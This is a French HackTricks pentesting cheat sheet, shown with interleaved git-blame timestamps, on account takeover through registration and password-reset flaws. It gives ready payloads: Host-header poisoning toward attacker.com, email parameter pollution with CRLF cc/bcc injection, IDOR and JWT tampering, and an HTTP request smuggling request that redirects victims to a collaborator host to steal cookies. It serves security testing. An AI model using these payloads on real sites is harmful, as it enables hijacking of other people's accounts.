2024-02-06 04:03:56 +00:00
# Vulnérabilités d'Inscription & de Prise de Contrôle
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:17 +00:00
{% hint style="success" %}
Apprenez & pratiquez le Hacking AWS :< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Formation AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Apprenez & pratiquez le Hacking GCP : < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Formation GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:17 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:17 +00:00
< summary > Soutenir HackTricks< / summary >
2024-02-03 16:06:20 +00:00
2024-09-04 13:32:49 +00:00
* Vérifiez les [**plans d'abonnement** ](https://github.com/sponsors/carlospolop )!
* **Rejoignez le** 💬 [**groupe Discord** ](https://discord.gg/hRep4RUj7f ) ou le [**groupe telegram** ](https://t.me/peass ) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-07-19 16:12:17 +00:00
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) et [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) dépôts github.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:12:17 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-04-18 03:35:20 +00:00
2024-07-19 16:12:17 +00:00
## Prise de Contrôle d'Inscription
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:17 +00:00
### Inscription Dupliquée
2021-06-27 14:55:59 +00:00
2024-02-06 04:03:56 +00:00
* Essayez de générer en utilisant un nom d'utilisateur existant
2024-07-19 16:12:17 +00:00
* Vérifiez en variant l'email :
* majuscules
* \+1@
* ajoutez un point dans l'email
* caractères spéciaux dans le nom de l'email (%00, %09, %20)
* Mettez des caractères noirs après l'email : `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
2024-07-19 16:12:17 +00:00
### Énumération de Noms d'Utilisateur
2021-06-27 14:55:59 +00:00
2024-07-19 16:12:17 +00:00
Vérifiez si vous pouvez déterminer quand un nom d'utilisateur a déjà été enregistré dans l'application.
2021-06-27 14:55:59 +00:00
2024-02-03 16:06:20 +00:00
### Politique de Mot de Passe
2021-06-27 14:55:59 +00:00
2024-07-19 16:12:17 +00:00
Lors de la création d'un utilisateur, vérifiez la politique de mot de passe (vérifiez si vous pouvez utiliser des mots de passe faibles).\
Dans ce cas, vous pouvez essayer de bruteforcer les identifiants.
2021-06-27 14:55:59 +00:00
2023-06-03 13:10:46 +00:00
### Injection SQL
2021-06-27 14:55:59 +00:00
2024-09-04 13:32:49 +00:00
[**Vérifiez cette page** ](sql-injection/#insert-statement )pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des **injections SQL** dans les formulaires d'inscription.
2021-06-27 14:55:59 +00:00
2024-02-03 16:06:20 +00:00
### Prises de Contrôle Oauth
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md ](oauth-to-account-takeover.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
2023-06-03 13:10:46 +00:00
### Vulnérabilités SAML
2021-06-27 14:55:59 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks ](saml-attacks/ )
{% endcontent-ref %}
2021-06-27 15:43:01 +00:00
2024-07-19 16:12:17 +00:00
### Changer d'Email
2021-06-27 15:43:01 +00:00
2024-07-19 16:12:17 +00:00
Lors de l'inscription, essayez de changer l'email et vérifiez si ce changement est correctement validé ou si vous pouvez le changer en des emails arbitraires.
2021-06-27 14:55:59 +00:00
2024-02-03 16:06:20 +00:00
### Autres Vérifications
2021-06-27 14:55:59 +00:00
2024-07-19 16:12:17 +00:00
* Vérifiez si vous pouvez utiliser des **emails jetables**
* **Long** **mot de passe** (>200) entraîne un **DoS**
2024-09-04 13:32:49 +00:00
* **Vérifiez les limites de taux sur la création de compte**
2024-05-05 22:09:31 +00:00
* Utilisez username@**burp\_collab**.net et analysez le **callback**
2021-11-30 00:17:48 +00:00
2024-02-03 16:06:20 +00:00
## **Prise de Contrôle de Réinitialisation de Mot de Passe**
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
### Fuite de Token de Réinitialisation de Mot de Passe Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. Demandez une réinitialisation de mot de passe à votre adresse email
2. Cliquez sur le lien de réinitialisation de mot de passe
2023-06-03 13:10:46 +00:00
3. Ne changez pas le mot de passe
2024-07-19 16:12:17 +00:00
4. Cliquez sur n'importe quel site tiers (ex : Facebook, Twitter)
2024-04-18 04:01:29 +00:00
5. Interceptez la requête dans le proxy Burp Suite
2024-07-19 16:12:17 +00:00
6. Vérifiez si l'en-tête referer fuit le token de réinitialisation de mot de passe.
2021-11-30 00:17:48 +00:00
2024-02-03 16:06:20 +00:00
### Empoisonnement de Réinitialisation de Mot de Passe <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. Interceptez la requête de réinitialisation de mot de passe dans Burp Suite
2023-06-03 13:10:46 +00:00
2. Ajoutez ou modifiez les en-têtes suivants dans Burp Suite : `Host: attacker.com` , `X-Forwarded-Host: attacker.com`
2024-07-19 16:12:17 +00:00
3. Transmettez la requête avec l'en-tête modifié\
2024-02-03 16:06:20 +00:00
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
2024-07-19 16:12:17 +00:00
4. Recherchez une URL de réinitialisation de mot de passe basée sur l'_en-tête host_ comme : `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
### Réinitialisation de Mot de Passe Via Paramètre Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com& email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
2024-07-19 16:12:17 +00:00
### IDOR sur les paramètres API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. L'attaquant doit se connecter avec son compte et aller à la fonctionnalité **Changer de mot de passe** .
2. Démarrez Burp Suite et interceptez la requête.
3. Envoyez-la à l'onglet répéteur et modifiez les paramètres : ID utilisateur/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
### Jeton de réinitialisation de mot de passe faible <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
Le jeton de réinitialisation de mot de passe doit être généré aléatoirement et être unique à chaque fois.\
2024-02-09 08:11:01 +00:00
Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans certains cas, l'algorithme de génération est faible et peut être deviné. Les variables suivantes pourraient être utilisées par l'algorithme.
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
* Horodatage
2024-02-06 04:03:56 +00:00
* ID utilisateur
2024-02-03 16:06:20 +00:00
* Email de l'utilisateur
2024-02-06 04:03:56 +00:00
* Prénom et nom de famille
2023-06-03 13:10:46 +00:00
* Date de naissance
* Cryptographie
2024-07-19 16:12:17 +00:00
* Numéro uniquement
2024-02-06 04:03:56 +00:00
* Petite séquence de jeton (caractères entre \[A-Z,a-z,0-9])
2024-02-03 16:06:20 +00:00
* Réutilisation du jeton
2023-06-03 13:10:46 +00:00
* Date d'expiration du jeton
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
### Fuite du jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un email spécifique, par exemple : test@mail.com
2024-09-04 13:32:49 +00:00
2. Inspectez la réponse du serveur et vérifiez le `resetToken`
2024-07-19 16:12:17 +00:00
3. Ensuite, utilisez le jeton dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
2024-02-06 04:03:56 +00:00
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. Inscrivez-vous sur le système avec un nom d'utilisateur identique à celui de la victime, mais avec des espaces insérés avant et/ou après le nom d'utilisateur. par exemple : `"admin "`
2023-06-03 13:10:46 +00:00
2. Demandez une réinitialisation de mot de passe avec votre nom d'utilisateur malveillant.
2024-07-19 16:12:17 +00:00
3. Utilisez le jeton envoyé à votre email et réinitialisez le mot de passe de la victime.
2023-06-03 13:10:46 +00:00
4. Connectez-vous au compte de la victime avec le nouveau mot de passe.
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
La plateforme CTFd était vulnérable à cette attaque.\
Voir : [CVE-2020-7245 ](https://nvd.nist.gov/vuln/detail/CVE-2020-7245 )
2021-11-30 00:17:48 +00:00
2023-06-03 13:10:46 +00:00
### Prise de contrôle de compte via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. Trouvez un XSS à l'intérieur de l'application ou d'un sous-domaine si les cookies sont limités au domaine parent : `*.domain.com`
2024-02-06 04:03:56 +00:00
2. Fuite du **cookie de session** actuel
2023-06-03 13:10:46 +00:00
3. Authentifiez-vous en tant qu'utilisateur en utilisant le cookie
2021-11-30 00:17:48 +00:00
2024-04-18 04:01:29 +00:00
### Prise de contrôle de compte via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
2024-05-05 22:09:31 +00:00
1\. Utilisez **smuggler** pour détecter le type de HTTP Request Smuggling (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h` \
2024-05-05 22:09:31 +00:00
2\. Créez une requête qui écrasera le `POST / HTTP/1.1` avec les données suivantes :\
2024-07-19 16:12:17 +00:00
`GET http://something.burpcollaborator.net HTTP/1.1 X:` dans le but de rediriger les victimes vers burpcollab et de voler leurs cookies\
2024-05-05 22:09:31 +00:00
3\. La requête finale pourrait ressembler à ce qui suit
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
2024-05-05 22:09:31 +00:00
Hackerone rapporte l'exploitation de ce bug\
\* [https://hackerone.com/reports/737140 ](https://hackerone.com/reports/737140 )\
\* [https://hackerone.com/reports/771666 ](https://hackerone.com/reports/771666 )
### Prise de contrôle de compte via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
2024-07-19 16:12:17 +00:00
1. Créez un payload pour le CSRF, par exemple : “formulaire HTML avec soumission automatique pour un changement de mot de passe”
2. Envoyez le payload
2021-11-30 00:17:48 +00:00
2024-05-05 22:09:31 +00:00
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
2024-09-04 13:32:49 +00:00
Le JSON Web Token peut être utilisé pour authentifier un utilisateur.
2021-11-30 00:17:48 +00:00
2024-09-04 13:32:49 +00:00
* Modifiez le JWT avec un autre ID d'utilisateur / Email
2024-07-19 16:12:17 +00:00
* Vérifiez la signature JWT faible
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md ](hacking-jwt-json-web-tokens.md )
{% endcontent-ref %}
2023-06-03 13:10:46 +00:00
## Références
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover ](https://salmonsec.com/cheatsheet/account\_takeover )
2022-04-28 16:01:33 +00:00
2024-04-18 03:35:20 +00:00
2024-07-19 16:12:17 +00:00
{% hint style="success" %}
2024-09-04 13:32:49 +00:00
Apprenez et pratiquez le hacking AWS :< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Apprenez et pratiquez le hacking GCP : < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:17 +00:00
< details >
2024-02-03 16:06:20 +00:00
2024-07-19 16:12:17 +00:00
< summary > Soutenir HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 16:12:17 +00:00
* Consultez les [**plans d'abonnement** ](https://github.com/sponsors/carlospolop ) !
2024-09-04 13:32:49 +00:00
* **Rejoignez le** 💬 [**groupe Discord** ](https://discord.gg/hRep4RUj7f ) ou le [**groupe telegram** ](https://t.me/peass ) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) et [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) dépôts github.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 16:12:17 +00:00
{% endhint %}